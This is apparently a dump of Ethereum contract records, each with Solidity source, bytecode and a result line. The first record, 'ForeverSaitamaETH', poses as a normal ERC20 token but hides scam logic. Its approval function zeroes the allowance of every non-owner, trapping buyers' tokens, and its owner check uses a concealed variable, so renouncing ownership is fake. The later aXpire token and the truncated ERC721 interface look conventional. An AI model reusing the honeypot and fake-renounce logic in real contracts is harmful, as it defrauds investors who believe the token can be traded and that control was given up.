`-hdd/-/shhdddddddhs/./hdh/`
:yddhs////ssss///:oyddh/:
..+yhdmmdhsyyshdmmddy+`
`..+oshddmmddyyo/-`
( (
)\ ) )\ ) )
(()/( ( ( ) ( ( (()/( ) ( ( /( ) ) )
/(_)) ( )( ))\ /(( ))\ )( /(_))( /( )\ )\())( /( ( ( /(
(_))_| )\ (()\ /((_)(_))\ /((_)(()\ (_)) )(_))((_)(_))/ )(_)) )\ ' )(_))
| |_ ((_) ((_)(_)) _)((_)(_)) ((_) / __|((_)_ (_)| |_ ((_)_ _((_)) ((_)_
| __|/ _ \| '_|/ -_) \ V / / -_) | '_| \__ \/ _` | | || _|/ _` || ' \()/ _` |
|_| \___/|_| \___| \_/ \___| |_| |___/\__,_| |_| \__|\__,_||_|_|_| \__,_|
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract ForeverSaitamaETH is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000 * 10**12 * 10**18;
string private _name = ' FOREVER SAITAMA ';
string private _symbol = ' FSAITAMAETH';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220d94a15abd921aec85910d061417066bb22814725ae7624b1d0978efc11e379c464736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,751 |
0xc39e626a04c5971d770e319760d7926502975e47
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* @title Reference implementation of the ERC220 standard token.
*/
contract StandardToken is Token {
function transfer(address _to, uint256 _value) public returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(_value == 0 || allowed[msg.sender][_spender] == 0);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract BurnableToken is StandardToken, Ownable {
event Burn(address indexed burner, uint256 amount);
/**
* @dev Anybody can burn a specific amount of their tokens.
* @param _amount The amount of token to be burned.
*/
function burn(uint256 _amount) public {
require(_amount > 0);
require(_amount <= balances[msg.sender]);
// no need to require _amount <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = SafeMath.sub(balances[burner],_amount);
totalSupply = SafeMath.sub(totalSupply,_amount);
emit Transfer(burner, address(0), _amount);
emit Burn(burner, _amount);
}
/**
* @dev Owner can burn a specific amount of tokens of other token holders.
* @param _from The address of token holder whose tokens to be burned.
* @param _amount The amount of token to be burned.
*/
function burnFrom(address _from, uint256 _amount) onlyOwner public {
require(_from != address(0));
require(_amount > 0);
require(_amount <= balances[_from]);
balances[_from] = SafeMath.sub(balances[_from],_amount);
totalSupply = SafeMath.sub(totalSupply,_amount);
emit Transfer(_from, address(0), _amount);
emit Burn(_from, _amount);
}
}
contract AxpirePausableToken is StandardToken, Pausable,BurnableToken {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
}
contract AxpireToken is AxpirePausableToken {
using SafeMath for uint;
// metadata
string public constant name = "aXpire";
string public constant symbol = "AXPR";
uint256 public constant decimals = 18;
address private ethFundDeposit;
address private escrowFundDeposit;
uint256 public icoTokenExchangeRate = 715; // 715 b66 tokens per 1 ETH
uint256 public tokenCreationCap = 350 * (10**6) * 10**decimals;
//address public ;
// crowdsale parameters
bool public tokenSaleActive; // switched to true in operational state
bool public haltIco;
bool public dead = false;
// events
event CreateToken(address indexed _to, uint256 _value);
event Transfer(address from, address to, uint256 value);
// constructor
constructor (
address _ethFundDeposit,
address _escrowFundDeposit
) public {
tokenSaleActive = true;
haltIco = true;
paused = true;
require(_ethFundDeposit != address(0));
require(_escrowFundDeposit != address(0));
ethFundDeposit = _ethFundDeposit;
escrowFundDeposit=_escrowFundDeposit;
balances[escrowFundDeposit] = tokenCreationCap;
totalSupply = tokenCreationCap;
emit CreateToken(escrowFundDeposit, totalSupply);
}
/// @dev Accepts ether and creates new tge tokens.
function createTokens() payable external {
if (!tokenSaleActive)
revert();
if (haltIco)
revert();
if (msg.value == 0)
revert();
uint256 tokens;
tokens = SafeMath.mul(msg.value, icoTokenExchangeRate); // check that we're not over totals
uint256 checkedSupply = SafeMath.add(totalSupply, tokens);
// return money if something goes wrong
if (tokenCreationCap < checkedSupply)
revert(); // odd fractions won't be found
totalSupply = checkedSupply;
balances[msg.sender] += tokens; // safeAdd not needed; bad semantics to use here
emit CreateToken(msg.sender, tokens); // logs token creation
}
function setIcoTokenExchangeRate (uint _icoTokenExchangeRate) onlyOwner external {
icoTokenExchangeRate = _icoTokenExchangeRate;
}
function setHaltIco(bool _haltIco) onlyOwner external {
haltIco = _haltIco;
}
/// @dev Ends the funding period and sends the ETH home
function sendFundHome() onlyOwner external { // move to operational
if (!ethFundDeposit.send(address(this).balance))
revert(); // send the eth to tge International
}
function sendFundHomeAmt(uint _amt) onlyOwner external {
if (!ethFundDeposit.send(_amt*10**decimals))
revert(); // send the eth to tge International
}
function toggleDead()
external
onlyOwner
returns (bool)
{
dead = !dead;
}
function endIco() onlyOwner external { // end ICO
// ensure that sale is active. is set to false at the end. can only be performed once.
require(tokenSaleActive == true);
tokenSaleActive=false;
}
}
|
0x6080604052600436106101695763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166302c95d2d811461016e57806306df6cf01461018a57806306fdde03146101b1578063095ea7b31461023b57806318160ddd1461027357806323b872dd14610288578063313ce567146102b257806336cf7c87146102c7578063370014f2146102dc5780633f4ba83a146102f157806342966c68146103065780635acb053b1461031e5780635c975abb1461033357806367e0d78f146103485780636f7920fd1461036057806370a082311461037557806379cc6790146103965780637c3382ae146103ba5780638456cb59146103d25780638da5cb5b146103e757806395d89b4114610418578063a9059cbb1461042d578063b442726314610451578063d65a418414610459578063dd62ed3e1461046e578063e489c5ff14610495578063e657807b146104aa578063f2fde38b146104bf575b600080fd5b34801561017a57600080fd5b5061018860043515156104e0565b005b34801561019657600080fd5b5061019f610511565b60408051918252519081900360200190f35b3480156101bd57600080fd5b506101c6610517565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102005781810151838201526020016101e8565b50505050905090810190601f16801561022d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561024757600080fd5b5061025f600160a060020a036004351660243561054e565b604080519115158252519081900360200190f35b34801561027f57600080fd5b5061019f61057b565b34801561029457600080fd5b5061025f600160a060020a0360043581169060243516604435610581565b3480156102be57600080fd5b5061019f6105b0565b3480156102d357600080fd5b5061025f6105b5565b3480156102e857600080fd5b506101886105c4565b3480156102fd57600080fd5b50610188610611565b34801561031257600080fd5b50610188600435610689565b34801561032a57600080fd5b5061025f61076a565b34801561033f57600080fd5b5061025f6107a4565b34801561035457600080fd5b506101886004356107b4565b34801561036c57600080fd5b5061019f61080b565b34801561038157600080fd5b5061019f600160a060020a0360043516610811565b3480156103a257600080fd5b50610188600160a060020a036004351660243561082c565b3480156103c657600080fd5b50610188600435610949565b3480156103de57600080fd5b50610188610965565b3480156103f357600080fd5b506103fc6109e2565b60408051600160a060020a039092168252519081900360200190f35b34801561042457600080fd5b506101c66109f1565b34801561043957600080fd5b5061025f600160a060020a0360043516602435610a28565b610188610a4c565b34801561046557600080fd5b5061025f610b02565b34801561047a57600080fd5b5061019f600160a060020a0360043581169060243516610b0b565b3480156104a157600080fd5b5061025f610b36565b3480156104b657600080fd5b50610188610b44565b3480156104cb57600080fd5b50610188600160a060020a0360043516610b7b565b600354600160a060020a031633146104f757600080fd5b600880549115156101000261ff0019909216919091179055565b60065481565b60408051808201909152600681527f6158706972650000000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff161561056857600080fd5b6105728383610c10565b90505b92915050565b60005481565b60035460009060a060020a900460ff161561059b57600080fd5b6105a6848484610cb2565b90505b9392505050565b601281565b60085462010000900460ff1681565b600354600160a060020a031633146105db57600080fd5b600454604051600160a060020a0390911690303180156108fc02916000818181858888f19350505050151561060f57600080fd5b565b600354600160a060020a0316331461062857600080fd5b60035460a060020a900460ff16151561064057600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600080821161069757600080fd5b336000908152600160205260409020548211156106b357600080fd5b50336000818152600160205260409020546106ce9083610d8a565b600160a060020a038216600090815260016020526040812091909155546106f59083610d8a565b6000908155604080518481529051600160a060020a03841691600080516020610e5a833981519152919081900360200190a3604080518381529051600160a060020a038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b600354600090600160a060020a0316331461078457600080fd5b6008805462ff0000198116620100009182900460ff161590910217905590565b60035460a060020a900460ff1681565b600354600160a060020a031633146107cb57600080fd5b600454604051600160a060020a0390911690670de0b6b3a7640000830280156108fc02916000818181858888f19350505050151561080857600080fd5b50565b60075481565b600160a060020a031660009081526001602052604090205490565b600354600160a060020a0316331461084357600080fd5b600160a060020a038216151561085857600080fd5b6000811161086557600080fd5b600160a060020a03821660009081526001602052604090205481111561088a57600080fd5b600160a060020a0382166000908152600160205260409020546108ad9082610d8a565b600160a060020a038316600090815260016020526040812091909155546108d49082610d8a565b6000908155604080518381529051600160a060020a03851691600080516020610e5a833981519152919081900360200190a3604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b600354600160a060020a0316331461096057600080fd5b600655565b600354600160a060020a0316331461097c57600080fd5b60035460a060020a900460ff161561099357600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b60408051808201909152600481527f4158505200000000000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff1615610a4257600080fd5b6105728383610d9c565b600854600090819060ff161515610a6257600080fd5b600854610100900460ff1615610a7757600080fd5b341515610a8357600080fd5b610a8f34600654610e23565b9150610a9d60005483610e4c565b9050806007541015610aae57600080fd5b600081815533808252600160209081526040928390208054860190558251858152925191927fb378e89b40ac5bbe0e2241b596fbe1adc3cf1fb7c982aa1b4560165cf264ee93929081900390910190a25050565b60085460ff1681565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600854610100900460ff1681565b600354600160a060020a03163314610b5b57600080fd5b60085460ff161515600114610b6f57600080fd5b6008805460ff19169055565b600354600160a060020a03163314610b9257600080fd5b600160a060020a0381161515610ba757600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000811580610c405750336000908152600260209081526040808320600160a060020a0387168452909152902054155b1515610c4b57600080fd5b336000818152600260209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b600160a060020a0383166000908152600160205260408120548211801590610cfd5750600160a060020a03841660009081526002602090815260408083203384529091529020548211155b8015610d095750600082115b15610d8257600160a060020a0380841660008181526001602090815260408083208054880190559388168083528483208054889003905560028252848320338452825291849020805487900390558351868152935192939192600080516020610e5a8339815191529281900390910190a35060016105a9565b5060006105a9565b600082821115610d9657fe5b50900390565b336000908152600160205260408120548211801590610dbb5750600082115b15610e1b5733600081815260016020908152604080832080548790039055600160a060020a0387168084529281902080548701905580518681529051929392600080516020610e5a833981519152929181900390910190a3506001610575565b506000610575565b6000821515610e3457506000610575565b50818102818382811515610e4457fe5b041461057557fe5b8181018281101561057557fe00ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820f2d732122f1fd8c118b688bc6a2430d11bedfa1d6cfc3cc55f106c00f2eee3c40029
|
{"success": true, "error": null, "results": {}}
| 8,752 |
0xa698713a3bc386970Cdc95A720B5754cC0f96931
|
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.10;
interface IERC721Events {
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
}
interface IERC721Metadata {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
interface IERC721 {
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId)
external
view
returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
